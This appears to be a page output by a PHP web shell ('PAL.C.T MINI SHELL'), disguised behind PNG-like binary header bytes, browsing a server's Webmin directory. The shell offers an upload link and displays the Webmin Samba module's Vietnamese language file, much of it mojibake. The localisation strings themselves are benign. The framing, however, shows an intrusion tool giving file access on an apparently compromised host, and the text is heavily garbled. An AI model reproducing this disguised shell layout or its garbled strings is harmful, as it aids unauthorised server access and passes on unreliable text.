‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/vi.auto

index_title=Chia sẻ tệp Samba Windows
index_sharelist=danh sách chia sẻ
index_userlist=Danh sách ngưá»i dùng
index_fileshare=chia sẻ tập tin
index_printershare=chia sẻ máy in
index_shareconf=chia sẻ cấu hình
index_version=Phiên bản Samba $1 
index_samba=Samba

index_sharename=Tên chia sẻ
index_path=Con đưá»ng
index_security=Bảo vệ
index_homedir=Tất cả các thư mục nhà
index_allprinter=Tất cả máy in
index_printer=Máy in
index_defaultprn=In mặc định
index_printableto=Có thể in
index_prneveryone=Có thể in cho má»i ngưá»i
index_prnalluser=Có thể in cho tất cả ngưá»i dùng đã biết
index_rwpublic=Äá»c/viết cho má»i ngưá»i
index_readonly=Chỉ Ä‘á»c đến $1 <br> Äá»c/ghi cho tất cả ngưá»i dùng đã biết khác
index_rwalluser=Äá»c/ghi cho tất cả ngưá»i dùng đã biết
index_roeveryone=Chỉ Ä‘á»c cho má»i ngưá»i
index_readwrite=Äá»c/ghi vào $1 <br> Chỉ Ä‘á»c cho tất cả ngưá»i dùng đã biết khác
index_roalluser=Chỉ Ä‘á»c cho tất cả ngưá»i dùng đã biết
index_noshares=Không có cổ phiếu Samba được xác định
index_createfileshare=Tạo một chia sẻ tập tin mới.
index_createprnshare=Tạo một chia sẻ máy in mới.
index_createcopy=Tạo một bản sao mới.
index_view=Xem tất cả các kết nối.
index_start=Bắt đầu máy chủ Samba
index_start_wb=Bắt đầu máy chủ Winbind
index_startmsg=Các máy chá»§ Samba dưá»ng như không chạy trên hệ thống cá»§a bạn. Äiá»u này có nghÄ©a là các cổ phiếu được liệt kê ở trên sẽ không thể truy cập được vào các máy tính khác.
index_startmsg_wb=Các máy chá»§ Winbind dưá»ng như không chạy trên hệ thống cá»§a bạn.
index_restart=Khởi động lại máy chủ Samba
index_restart_wb=Khởi động lại máy chủ Winbind
index_restartmsg=Nhấp vào nút này để khởi động lại các máy chá»§ Samba Ä‘ang chạy trên hệ thống cá»§a bạn. Äiá»u này sẽ buá»™c cấu hình hiện tại được áp dụng.
index_restartmsg_wb=Nhấp vào nút này để khởi động lại các máy chủ Winbind đang chạy trên hệ thống của bạn.
index_restartmsg2=Äiá»u này cÅ©ng sẽ ngắt kết nối bất kỳ kết nối nào vá»›i máy chá»§, vì vậy nếu bạn không muốn áp dụng cấu hình hiện tại ngay lập tức, bạn chỉ cần đợi 1 phút cho đến khi Samba tá»± động tải lại cấu hình.
index_stop=Dừng máy chủ Samba
index_stop_wb=Dừng máy chủ Winbind
index_stopmsg=Nhấp vào nút này để tắt các máy chá»§ Samba Ä‘ang chạy trên hệ thống cá»§a bạn. Tất cả ngưá»i dùng hiện Ä‘ang đăng nhập sẽ bị ngắt kết nối.
index_stopmsg_wb=Nhấp vào nút này để tắt các máy chủ Winbind đang chạy trên hệ thống của bạn.
index_einclude=Cảnh báo - Tệp cấu hình Samba cá»§a bạn $1 chứa chỉ thị $2 hoặc $3. Äiá»u này có thể khiến Webmin sá»­a đổi tệp không chính xác.
index_delete=Xóa cổ phiếu đã chá»n

config_mins=Phút
config_secs=Giây
config_bytes=Byte
config_never=Không bao giá»
config_all=Tất cả
config_neither=Cũng không

global_title=Cấu hình Toàn cầu
global_unixnetwork=Mạng Unix
global_winnetwork=Mạng Windows
global_auth=Xác thực
global_printing=In Windows sang Unix
global_misc=sá»± lá»±a chá»n há»—n hợp
global_filedefault=Mặc định chia sẻ tệp
global_prndefault=Mặc định chia sẻ máy in
global_password=Mật khẩu được mã hóa
global_users=Ngưá»i dùng Samba
global_group=Nhóm Samba
global_bind=Tùy chá»n Winbind

error_nosamba=Không tìm thấy máy chủ Samba <tt>$1</tt>. Samba không được cài đặt trên hệ thống của bạn hoặc <a href="$2">cấu hình mô-đun</a> của bạn không chính xác.
error_version=Webmin không thể tải phiên bản máy chá»§ Samba cá»§a bạn <tt>$1</tt>. Kiểm tra <a href="$2">cấu hình mô-Ä‘un</a> cá»§a bạn để đảm bảo đây là đưá»ng dẫn chính xác.
error_config=Không tìm thấy tệp cấu hình $1. Rất có thể Samba chưa được cài đặt trên hệ thống của bạn hoặc <a href="$2">cấu hình mô-đun</a> của bạn không chính xác.
error_include=Webmin không thể xử lý các tệp cấu hình Samba sử dụng các lệnh <tt>config</tt> hoặc <tt>bao gồm</tt>.
error_delshare=Không thể xóa chia sẻ
error_delcopy=Chia sẻ bản sao '$1' từ chia sẻ này
error_savename=Không thể lưu tên tệp

convert_title=Chuyển đổi ngưá»i dùng
convert_msg=Biểu mẫu này cho phép bạn đồng bá»™ hóa danh sách ngưá»i dùng Unix và Samba. Khi Samba Ä‘ang sá»­ dụng <a href=$1>mật khẩu được mã hóa</a>, má»™t danh sách ngưá»i dùng và mật khẩu riêng được sá»­ dụng thay vì danh sách ngưá»i dùng hệ thống.
convert_noconv=Không chuyển đổi hoặc xóa những ngưá»i dùng này:
convert_ncdesc=Danh sách ngưá»i dùng không chuyển đổi có thể chứa tên ngưá»i dùng, UID, tên nhóm có tiá»n tố <tt>@</tt> hoặc các phạm vi UID như <i>500-1000</i> hoặc <i>500 -</ i >.
convert_update=Cập nhật ngưá»i dùng Samba hiện tại từ chi tiết Unix cá»§a há»
convert_add=Thêm ngưá»i dùng Samba má»›i từ danh sách ngưá»i dùng Unix
convert_delete=Xóa ngưá»i dùng Samba không tồn tại trong Unix
convert_newuser=Äối vá»›i ngưá»i dùng má»›i được tạo, hãy đặt mật khẩu thành:
convert_nopasswd=Không mật khẩu
convert_lock=Tài khoản bị khóa
convert_passwd=Sử dụng mật khẩu này
convert_convert=Chuyển đổi ngưá»i dùng
convert_cannot=Ngưá»i dùng Unix không thể được chuyển đổi thành ngưá»i dùng Samba
convert_who=Ngưá»i dùng Unix chuyển đổi
convert_who0=Chỉ những ngưá»i dùng được liệt kê hoặc phạm vi UID
convert_who1=Tất cả ngoại trừ ngưá»i dùng được liệt kê và phạm vi UID

misc_title=sá»± lá»±a chá»n há»—n hợp
misc_debug=Mức gỡ lỗi
misc_cachecall=Các cuá»™c gá»i <tt>getwd ()</tt> bá»™ nhá»› cache?
misc_lockdir=Khóa thư mục
misc_log=Äăng nhập tập tin
misc_maxlog=Kích thước nhật ký tối đa
misc_rawread=Cho phép Ä‘á»c thô?
misc_rawwrite=Cho phép viết thô?
misc_overlapread=Kích thước Ä‘á»c chồng chéo
misc_chroot=thư mục <tt>chroot ()</tt>
misc_smbrun=ÄÆ°á»ng dẫn đến <tt>smbrun</tt>
misc_clienttime=Thá»i gian bù cá»§a khách hàng
misc_readprediction=Äá»c dá»± Ä‘oán?

net_title=Tùy chá»n mạng Unix
net_idle=Thá»i gian rảnh trước khi ngắt kết nối
net_trustlist=Tệp máy chá»§/ngưá»i dùng đáng tin cậy
net_netinterface=Giao diện mạng
net_auto=Tự động
net_uselist=Sử dụng danh sách. ..
net_interface=Giao diện
net_netmask=Netmask
net_keepalive=Gói giữ
net_notsend=Äừng gá»­i bất kỳ
net_every=Gá»­i má»i
net_maxpacket=Kích thước gói tối đa
net_listen=Nghe theo địa chỉ
net_ip=địa chỉ IP
net_socket=Tùy chá»n ổ cắm

passwd_title=Tùy chá»n mật khẩu
passwd_encrypt=Sử dụng mật khẩu được mã hóa?
passwd_allownull=Cho phép mật khẩu null?
passwd_program=Chương trình mật khẩu
passwd_case=Mật khẩu trưá»ng hợp khác nhau
passwd_sync=Thay đổi mật khẩu Unix là tốt?
passwd_chat=Thay đổi mật khẩu trò chuyện
passwd_below=ÄÆ°á»£c liệt kê dưới đây:
passwd_waitfor=Chá»
passwd_send=Gá»­i
passwd_map=Ãnh xạ tên ngưá»i dùng
passwd_unixuser=Ngưá»i dùng Unix
passwd_winuser=Ngưá»i dùng Windows

print_title=Tùy chá»n in
print_style=Phong cách in Unix
print_show=Hiển thị tất cả các máy in?
print_printcap=Tập tin in
print_cachetime=Thá»i gian bá»™ nhá»› cache trạng thái máy in

smb_title=Tùy chá»n mạng Windows
smb_workgroup=Nhóm làm việc
smb_wins=Chế độ THẮNG
smb_winsserver=Là máy chủ THẮNG
smb_useserver=Sử dụng máy chủ
smb_description=Mô tả máy chủ
smb_descriptionnone=không ai
smb_name=Tên máy chủ
smb_aliase=Bí danh máy chủ
smb_default=Dịch vụ mặc định
smb_show=Luôn hiển thị dịch vụ
smb_disksize=Kích thước đĩa báo cáo tối đa
smb_unlimited=Vô hạn
smb_winpopup=Lệnh Winpopup
smb_priority=Ưu tiên trình duyệt chính
smb_protocol=Giao thức cao nhất
smb_master=Trình duyệt chính?
smb_master_auto=Tự động
smb_security=Bảo vệ
smb_sharelevel=Chia sẻ cấp
smb_userlevel=Cấp độ ngưá»i dùng
smb_passwdserver=Máy chủ mật khẩu
smb_server=Máy chủ mật khẩu
smb_domain=Miá»n
smb_ads=Thư mục hoạt động
smb_announce=Thông báo từ xa tới
smb_nowhere=Hư không
smb_fromlist=Từ danh sách. ..
smb_ip=Äịa chỉ IP
smb_asworkgroup=<b>Là nhóm làm việc</b> (tùy chá»n)

create_title=Tạo bản sao
create_msg=Má»™t chia sẻ sao chép sẽ kế thừa tất cả các giá trị mặc định cá»§a nó từ chia sẻ bạn chá»n. Nếu chia sẻ nguồn được thay đổi, bản sao cÅ©ng vậy.
create_from=Chia sẻ để sao chép từ:
create_name=Tên chia sẻ mới:

smbuser_title=Ngưá»i dùng Samba
smbuser_list=Danh sách ngưá»i dùng Samba
smbuser_nouser=Không có ngưá»i dùng Samba được xác định.
smbuser_cannot=Ngưá»i dùng Samba không thể được liệt kê

euser_title=Chỉnh sá»­a ngưá»i dùng Samba
euser_name=tên tài khoản
euser_uid=Unix UID
euser_passwd=Mật khẩu
euser_noaccess=Không truy cập
euser_nopw=Không mật khẩu
euser_currpw=Mật khẩu hiện tại
euser_newpw=Mật khẩu mới
euser_realname=Tên thật
euser_homedir=Thư mục nhà
euser_shell=Vá»
euser_option=Tùy chá»n ngưá»i dùng
euser_normal=Ngưá»i dùng bình thưá»ng
euser_noexpire=Mật khẩu không bao giỠhết hạn
euser_locked=Tài khoản bị khoá
euser_nopwrequired=Không cần mật khẩu
euser_disable=Tài khoản bị vô hiệu hóa
euser_trust=Tài khoản ủy thác máy trạm

fmisc_title=Mặc định tệp khác
fmisc_for=Äể chia sẻ <tt>$1</tt>
fmisc_lockfile=Làm tập tin khóa?
fmisc_maxconn=Kết nối tối đa
fmisc_fake=Oplocks giả?
fmisc_oplocks=Kích hoạt oplocks?
fmisc_level2=Oplocks chỉ Ä‘á»c?
fmisc_sharemode=Sử dụng chế độ chia sẻ?
fmisc_strict=Khóa chặt?
fmisc_sync=Äồng bá»™ hóa sau khi viết?
fmisc_volume=Tên tập
fmisc_sameas=Tương tự như chia sẻ
fmisc_unixdos=Bản đồ tên tệp Unix-DOS
fmisc_conncmd=Lệnh chạy trên kết nối
fmisc_disconncmd=Lệnh chạy trên ngắt kết nối
fmisc_rootconn=Lệnh chạy trên kết nối <i>vá»›i quyá»n root</i>
fmisc_rootdisconn=Lệnh chạy khi ngắt kết nối <i>vá»›i quyá»n root</i>

fname_title1=Mặc định đặt tên tệp
fname_title2=Chỉnh sửa tên đặt tên
fname_option=Tùy chá»n đặt tên tệp
fname_manglecase=Trưá»ng hợp mangle?
fname_case=Trưá»ng hợp nhạy cảm?
fname_defaultcase=Trưá»ng hợp mặc định?
fname_lower=Thấp hơn
fname_upper=Phía trên
fname_preserve=Bảo quản trưá»ng hợp?
fname_shortpreserve=Trưá»ng hợp bảo quản ngắn?
fname_hide=Ẩn tập tin dấu chấm?
fname_archive=Lưu cỠlưu trữ DOS?
fname_hidden=Lưu DOS ẩn c�
fname_system=Lưu cỠhệ thống DOS?

fperm_title1=Quyá»n mặc định tệp
fperm_title2=Chỉnh sá»­a quyá»n
fperm_option=Tùy chá»n cấp phép tệp
fperm_filemode=Chế độ tập tin Unix mới
fperm_dirmode=Chế độ thư mục Unix mới
fperm_notlist=Thư mục không liệt kê
fperm_forceuser=Buá»™c ngưá»i dùng Unix
fperm_forcegrp=Buộc nhóm Unix
fperm_link=Cho phép liên kết ngoài chia sẻ?
fperm_delro=Có thể xóa các tập tin chỉ Ä‘á»c?
fperm_forcefile=Buộc chế độ tập tin Unix
fperm_forcedir=Buộc chế độ thư mục Unix

share_title1=Mặc định chia sẻ tệp
share_title2=Chỉnh sửa chia sẻ tệp
share_title3=Tạo chia sẻ tệp
share_info=Chia sẻ thông tin
share_copy=Chia sẻ này là bản sao của <i>$1</i>
share_name=Chia sẻ tên
share_home=Trang chủ Thư mục chia sẻ
share_dir=Thư mục để chia sẻ
share_create=Tự động tạo thư mục?
share_owner=Tạo với chủ sở hữu
share_createperms=Tạo vá»›i quyá»n
share_group=Tạo với nhóm
share_available=Có sẵn?
share_browseable=Có thể duyệt?
share_comment=Chia sẻ bình luận
share_view=Xem kết nối
share_option=Tùy chá»n chia sẻ khác
share_security=Kiểm soát truy cập và bảo mật
share_permission=Quyá»n tập tin
share_naming=Äặt tên tệp
share_misc=sá»± lá»±a chá»n há»—n hợp
share_samedesc1=Lưu ý - các cài đặt này cũng có hiệu lực mặc định cho tất cả các chia sẻ tệp.
share_samedesc2=Lưu ý - các cài đặt này cũng có hiệu lực mặc định cho tất cả các chia sẻ máy in.

print_title1=Mặc định tùy chá»n máy in
print_title2=Chỉnh sá»­a tùy chá»n máy in
print_option=Tùy chá»n máy in
print_minspace=Không gian trống tối thiểu
print_postscript=Buộc đăng bài
print_command=Lệnh in
print_queue=Hiển thị lệnh xếp hàng
print_delete=Xóa lệnh công việc
print_pause=Tạm dừng lệnh
print_unresume=Lệnh công việc không đáp ứng
print_driver=Trình Ä‘iá»u khiển máy in

pshare_title1=Mặc định chia sẻ máy in
pshare_title2=Chỉnh sửa máy in Chia sẻ
pshare_title3=Tạo máy in Chia sẻ
pshare_info=Chia sẻ thông tin
pshare_name=Chia sẻ tên
pshare_all=Tất cả các máy in chia sẻ
pshare_unixprn=Máy in Unix
pshare_spool=Thư mục Spool

sec_index1=Mặc định bảo mật
sec_index2=Chỉnh sửa bảo mật
sec_writable=Có thể viết được không?
sec_guest=Tiếp cận khách?
sec_guestonly=Chỉ dành cho khách
sec_guestaccount=Ngưá»i dùng Unix khách
sec_limit=Giới hạn trong danh sách có thể?
sec_allowhost=Máy chủ cho phép
sec_onlyallow=Chỉ cho phép
sec_denyhost=Chủ nhà từ chối
sec_onlydeny=Chỉ từ chối
sec_revalidate=Xác nhận lại ngưá»i dùng?
sec_validuser=Ngưá»i dùng hợp lệ
sec_validgroup=Các nhóm hợp lệ
sec_invaliduser=Ngưá»i dùng không hợp lệ
sec_invalidgroup=Các nhóm không hợp lệ
sec_possibleuser=Ngưá»i dùng có thể
sec_possiblegroup=Các nhóm có thể
sec_rouser=Chỉ Ä‘á»c ngưá»i dùng
sec_rogroup=Chỉ Ä‘á»c các nhóm
sec_rwuser=Äá»c/ghi ngưá»i dùng
sec_rwgroup=Äá»c/viết nhóm

esync_title=Äồng bá»™ hóa ngưá»i dùng
esync_msg=Webmin có thể được cấu hình để những thay đổi trong danh sách ngưá»i dùng Unix sẽ tá»± động được áp dụng cho danh sách ngưá»i dùng Samba. Äiá»u này sẽ chỉ hoạt động khi mô Ä‘un Webmin <b>Ngưá»i dùng và Nhóm</b> được sá»­ dụng để thêm, xóa hoặc thay đổi ngưá»i dùng.
esync_add=Thêm ngưá»i dùng Samba khi ngưá»i dùng Unix được thêm vào
esync_chg=Thay đổi ngưá»i dùng Samba khi ngưá»i dùng Unix bị thay đổi
esync_del=Xóa ngưá»i dùng Samba khi ngưá»i dùng Unix bị xóa
esync_del_profile=Xóa hồ sÆ¡ chuyển vùng khi ngưá»i dùng Unix bị xóa
esync_chg_profile=Äổi tên cấu hình chuyển vùng khi ngưá»i dùng Unix được đổi tên
esync_gid=Nhóm SID hoặc RID cho ngưá»i dùng má»›i
esync_apply=Ứng dụng
esync_cannot=Äồng bá»™ hóa ngưá»i dùng không thể được cấu hình
esync_egid=Thiếu nhóm SID hoặc RID

mkpass_title=Chuyển đổi ngưá»i dùng
mkpass_convfail=Không thể chuyển đổi ngưá»i dùng
mkpass_msg=Chuyển đổi ngưá»i dùng Unix. ..
mkpass_skip=Bá» qua
mkpass_same=Äã giống nhau
mkpass_update=Äã cập nhật
mkpass_added=Thêm
mkpass_del=Äã xóa
mkpass_passfail=Không thể đặt mật khẩu
mkpass_user=tên tài khoản
mkpass_action=Hành động
mkpass_skipcount=$1 ngưá»i dùng đã bị bá» qua để chuyển đổi.

savecopy_fail=Không thể tạo bản sao
savecopy_global=Tên 'toàn cầu' không thể được sử dụng cho một phần
savecopy_exist=Một chia sẻ có tên '$1' đã tồn tại
savecopy_ename=Không có tên chia sẻ

saveuser_fail=Không thể lưu ngưá»i dùng
saveuser_uid='$1' không phải là UID Unix hợp lệ
saveuser_colon=Tên thật không thể chứa ký tự :
saveuser_home=Thư mục chính '$1' không tồn tại
saveuser_shell=$1 không phải là vỠhợp lệ
saveuser_pass=Không thể thay đổi mật khẩu bằng smbpasswd : $1 
saveuser_ews=Tùy chá»n 'Tài khoản tin cậy máy trạm' không thể được bật cho ngưá»i dùng hiện tại

savefmisc_fail=Không thể lưu các tùy chá»n linh tinh
savefmisc_number='$1' không phải là số lượng kết nối hợp lệ

savefperm_fail=Không thể lưu quyá»n truy cập tệp
savefperm_mode='$1' không phải là chế độ tệp Unix hợp lệ

savefshare_fail=Không thể lưu chia sẻ
savefshare_nopath=Không có con đưá»ng nào
savefshare_exist=Một chia sẻ có tên '$1' đã tồn tại
savefshare_mode='$1' không phải là tên chia sẻ hợp lệ
savefshare_global=Tên 'toàn cầu' không thể được sử dụng cho một phần
savefshare_owner=Chủ sở hữu bị thiếu hoặc không hợp lệ cho thư mục mới
savefshare_group=Nhóm thiếu hoặc không hợp lệ cho thư mục mới
savefshare_perms=Thiếu quyá»n hoặc không hợp lệ cho thư mục má»›i
savefshare_emkdir=Không thể tạo thư mục : $1 

savemisc_fail=Không thể lưu tùy chá»n
savemisc_lockdir=Thư mục chứa thư mục khóa không tồn tại
savemisc_logdir=Thư mục chứa tệp nhật ký không tồn tại
savemisc_logsize='$1' không phải là kích thước nhật ký hợp lệ
savemisc_overlap='$1' không phải là kích thước Ä‘á»c chồng chéo hợp lệ
savemisc_chroot=Thư mục chroot '$1' không tồn tại
savemisc_smbrun=Chương trình smbrun '$1' không tồn tại hoặc không thể thực thi
savemisc_time='$1' không phải là thá»i gian bù hợp lệ

savenet_fail=Không thể lưu tùy chá»n
savenet_timeout='$1' không phải là thá»i gian chá» ngắt kết nối hợp lệ
savenet_ip='$1' không phải là byte IP hợp lệ
savenet_keep='$1' không phải là khoảng giữ cố định hợp lệ
savenet_maxxmit='$1' không phải là kích thước gói tối đa hợp lệ

savepass_fail=Không thể lưu tùy chá»n
savepass_nopass=Phiên bản Samba của bạn không hỗ trợ mật khẩu được mã hóa
savepass_passwd=Không có chương trình thay đổi mật khẩu nào
savepass_level='$1' không phải là trưá»ng hợp chênh lệch mật khẩu hợp lệ
savepass_chat=Trình tự trò chuyện mật khẩu thay đổi trống

savepopts_fail=Không thể lưu tùy chá»n máy in
savepopts_number=Không gian trống tối thiểu phải là một số

saveprint_fail=Không thể lưu tùy chá»n
saveprint_printcap=Tệp printcap '$1' không tồn tại
saveprint_cache='$1' không phải là thá»i gian bá»™ nhá»› cache hợp lệ

savepshare_fail=Không thể lưu chia sẻ máy in
savepshare_exist=Một chia sẻ có tên '$1' đã tồn tại
savepshare_name='$1' không phải là tên chia sẻ hợp lệ
savepshare_global=Tên 'toàn cầu' không thể được sử dụng cho một phần

savesec_fail=Không thể bảo mật

savesmb_fail=Không thể lưu tùy chá»n
savesmb_size='$1' không phải là kích thước đĩa hợp lệ
savesmb_oslevel='$1' không phải là ưu tiên của trình duyệt chính hợp lệ
savesmb_server=Bạn phải nhập một máy chủ mật khẩu

start_err=Không thể khởi động máy chủ Samba
start_fail=$1 thất bại
start_err_wb=Không thể khởi động máy chủ Winbind

restart_err=Không thể khởi động lại máy chủ Samba
restart_err_wb=Không thể khởi động lại máy chủ Winbind

swats_fail=Không thể lưu tên ngưá»i dùng
swats_user=Thiếu tên ngưá»i dùng SWAT

viewu_index=Những ngưá»i dùng hiện tại
viewu_list=Ngưá»i dùng hiện tại cá»§a $1 
viewu_share=Chia sẻ
viewu_user=Ngưá»i sá»­ dụng
viewu_group=Nhóm
viewu_from=Äã kết nối từ
viewu_time=Äã kết nối tại
viewu_pid=Xử lý ID
viewu_msg1=Nhấp vào ID tiến trình từ danh sách trên để ngắt kết nối ngưá»i dùng đó.
viewu_msg2=Không có ngưá»i dùng hiện Ä‘ang kết nối.
viewu_locks=Mở tập tin
viewu_none=không ai
viewu_ecmd=Chương trình trạng thái Samba $1 dưá»ng như không được cài đặt trên hệ thống cá»§a bạn. Có thể cấu hình mô-Ä‘un <a href='$2'></a> không chính xác.
viewu_kill=Ngắt kết nối ngưá»i dùng đã chá»n
viewu_enone=Không có ngưá»i dùng nào được chá»n
viewu_refresh=Làm mới trang.

log_apply=Khởi động lại máy chủ Samba
log_apply_wb=Khởi động lại máy chủ Winbind
log_stop=Máy chủ Samba đã dừng
log_stop_wb=Máy chủ Winbind đã dừng
log_start=Bắt đầu máy chủ Samba
log_start_wb=Bắt đầu máy chủ Winbind
log_save_fshare=Chia sẻ tệp đã sửa đổi $1 
log_save_pshare=Chia sẻ máy in đã sửa đổi $1 
log_save_sec=Sửa đổi bảo mật và kiểm soát truy cập cho chia sẻ $1 
log_save_fperm=Quyá»n sá»­a đổi tệp cho chia sẻ $1 
log_save_fname=Äặt tên tệp đã sá»­a đổi để chia sẻ $1 
log_save_fmisc=Tùy chá»n linh tinh đã sá»­a đổi để chia sẻ $1 
log_save_popts=Tùy chá»n máy in đã sá»­a đổi để chia sẻ $1 
log_default_fshare=Thay đổi mặc định chia sẻ tệp
log_default_pshare=Thay đổi mặc định chia sẻ máy in
log_kill=Quá trình ngắt kết nối $1 
log_skill=Quá trình ngắt kết nối $1 khá»i chia sẻ $2 
log_kills=Äã ngắt kết nối $1 quy trình
log_skills=Äã ngắt kết nối $1 quá trình khá»i chia sẻ $2 
log_create_fshare=Tạo tập tin chia sẻ $1 
log_create_pshare=Tạo máy in chia sẻ $1 
log_delete_fshare=Äã xóa chia sẻ tệp $1 
log_delete_pshare=Xóa máy in chia sẻ $1 
log_delete_shares=Äã xóa $1 cổ phiếu
log_net=Thay đổi tùy chá»n mạng Unix
log_smb=Thay đổi tùy chá»n mạng Windows
log_pass=Thay đổi tùy chá»n xác thá»±c
log_print=Thay đổi tùy chá»n in Windows sang Unix
log_misc=Thay đổi tùy chá»n linh tinh
log_bind=Thay đổi tùy chá»n Winbind
log_sync=Cấu hình đồng bá»™ hóa ngưá»i dùng Unix
log_epass=Chuyển đổi ngưá»i dùng Unix sang ngưá»i dùng Samba
log_epass_l=Ngưá»i dùng Unix đã chuyển đổi thành ngưá»i dùng Samba ($1 đã tạo, $2 đã sá»­a đổi, $3 đã xóa)
log_copy=Chia sẻ cổ phần $2 đến $1 
log_save_euser=Ngưá»i dùng Samba đã sá»­a đổi $1 
log_delete_euser=Äã xóa ngưá»i dùng Samba $1 
log_create_group=Tạo nhóm Samba $1 
log_modify_group=Nhóm Samba đã sửa đổi $1 
log_delete_group=Äã xóa nhóm Samba $1 
log_gsync=Cấu hình đồng bộ hóa nhóm Unix
log_manual=Tập tin cấu hình được chỉnh sửa thủ công $1 

swat_title=Äăng nhập SWAT
swat_list=Äăng nhập SWAT
swat_msg1=Tên ngưá»i dùng và mật khẩu SWAT hiện tại cá»§a bạn không chính xác. Sá»­ dụng mẫu dưới đây để đăng nhập lại.
swat_msg2=Cần có tên ngưá»i dùng và mật khẩu để đăng nhập vào SWAT. Äiá»u này thưá»ng có thể là bất kỳ ngưá»i dùng trên hệ thống cá»§a bạn.
swat_msg3=Bạn không thể chạy SWAT thông qua Webmin, vì cấu hình Samba cá»§a bạn có tùy chá»n <tt>$1 :...</tt> (cho phép máy chá»§) được đặt.
swat_msg4=Tuy nhiên, bạn có thể kết nối trực tiếp với SWAT ở $1 
swat_username=tên tài khoản
swat_password=Mật khẩu
swat_login=Äăng nhập
swat_clear=Thông thoáng
swat_logout=Thoát khá»i SWAT

eacl_aviol=Vi phạm kiểm soát truy cập
eacl_np=Bạn không có quyá»n
eacl_papply=khởi động lại dịch vụ này
eacl_pcn=chỉnh sá»­a tùy chá»n mạng unix
eacl_pcs=chỉnh sá»­a tùy chá»n mạng smb
eacl_pcp=chỉnh sá»­a tùy chá»n mật khẩu
eacl_pcprint=chỉnh sá»­a tùy chá»n in
eacl_pcm=chỉnh sá»­a tùy chá»n linh tinh
eacl_pcswat=sử dụng SWAT
eacl_pcopy=sao chép cổ phiếu
eacl_pconn_all=xem tất cả các kết nối
eacl_pconn=xem kết nối cho chia sẻ này
eacl_pgkill=giết kết nối
eacl_pkill=giết kết nối này
eacl_pus=cập nhật chia sẻ
eacl_pcrs=tạo chia sẻ
eacl_pds=xóa chia sẻ
eacl_pusec=cập nhật các tùy chá»n kiểm soát truy cập và bảo mật cho chia sẻ này
eacl_pufperm=cập nhật tùy chá»n cấp phép cho chia sẻ này
eacl_pufname=cập nhật tùy chá»n đặt tên tệp cho chia sẻ này
eacl_pufmisc=cập nhật linh tinh. tùy chá»n cho chia sẻ này
eacl_pupopt=cập nhật tùy chá»n máy in cho chia sẻ này
eacl_pmpass=khởi tạo cÆ¡ sở dữ liệu ngưá»i dùng Samba
eacl_pmsync=duy trì đồng bá»™ hóa ngưá»i dùng Unix-Samba
eacl_pmusers=duy trì ngưá»i dùng Samba
eacl_pvusers=truy cập ngưá»i dùng Samba
eacl_pvfmisc=truy cập linh tinh. tùy chá»n cho chia sẻ này
eacl_pvfname=truy cập tùy chá»n đặt tên tệp cho chia sẻ này
eacl_pvperm=tùy chá»n quyá»n truy cập tập tin cho chia sẻ này
eacl_pvsec=quyá»n truy cập bảo mật và kiểm soát truy cập cho chia sẻ này
eacl_pvpopt=truy cập tùy chá»n máy in cho chia sẻ này
eacl_pafs=truy cập chia sẻ tập tin này
eacl_paps=truy cập chia sẻ máy in này
eacl_pcps=tạo chia sẻ máy in
eacl_pcfs=tạo chia sẻ tập tin

acl_apply=Có thể áp dụng thay đổi và ngăn chặn Samba?
acl_view_all_con=Có thể xem tất cả các kết nối?
acl_kill_con=Có thể loại bỠkết nối?
acl_conf_net=Có thể cấu hình tùy chá»n mạng Unix?
acl_conf_smb=Có thể cấu hình tùy chá»n mạng Windows?
acl_conf_pass=Có thể cấu hình tùy chá»n xác thá»±c?
acl_conf_print=Có thể cấu hình tùy chá»n máy in?
acl_conf_misc=Có thể cấu hình linh tinh. lá»±a chá»n?
acl_swat=Có thể sử dụng SWAT?
acl_manual=Có thể tự chỉnh sửa tập tin cấu hình?
acl_enc_passwd_opts=Tùy chá»n mật khẩu được mã hóa
acl_view_users=Có thể xem cÆ¡ sở dữ liệu ngưá»i dùng Samba?
acl_maint_users=Có thể chỉnh sá»­a ngưá»i dùng Samba?
acl_maint_makepass=Có thể chuyển đổi ngưá»i dùng Unix sang ngưá»i dùng Samba?
acl_maint_sync=Có thể duy trì tự động đồng bộ hóa Unix với Samba?
acl_hide=Ẩn các đối tượng không thể tiếp cận?
acl_c=tạo nên
acl_r=Ä‘á»c
acl_w=viết
acl_afs=Truy cập chia sẻ tập tin
acl_aps=Truy cập cổ phiếu in
acl_copy=Có thể sao chép cổ phiếu?
acl_per_fs_acls=Cho phép acls chia sẻ mỗi tập tin?
acl_per_ps_acls=Cho phép acls chia sẻ in?
acl_per_share_acls=ACL chia sẻ. ..
acl_ernow=Nếu bạn muốn kích hoạt quyá»n truy cập ghi trong ACL toàn cầu cho má»™t số loại đối tượng, bạn cÅ©ng phải bật quyá»n truy cập Ä‘á»c cho loại đối tượng này.
acl_sname=Chia sẻ tên
acl_saccess=Chia sẻ truy cập
acl_sconn=Kết nối
acl_sopthdr=Chia sẻ tùy chá»n
acl_ssec=Bảo vệ
acl_sperm=quyá»n
acl_snaming=đặt tên tập tin
acl_smisc=Äiá»u khoản khác
acl_sprn=hoặc máy in
acl_na=không có
acl_r1=chỉ Ä‘á»c
acl_rw=Ä‘á»c viết
acl_view=lượt xem
acl_kill=giết chết
acl_edit=biên tập
acl_group_opts=Tùy chá»n nhóm Samba
acl_maint_groups=Có thể xem, chỉnh sửa và thêm các nhóm?
acl_maint_gsync=Có thể duy trì tự động đồng bộ hóa Unix sang Samba nhóm?
acl_winbind=Có thể liên kết vá»›i tên miá»n?
acl_bind=Có thể truy cập các tùy chá»n winbind?

groups_title=Nhóm Samba
groups_name=Tên nhóm
groups_unix=Nhóm Unix
groups_nounix=không ai
groups_type=Kiểu
groups_type_d=Nhóm tên miá»n
groups_type_b=Xây dựng NT
groups_type_l=Nhóm địa phương
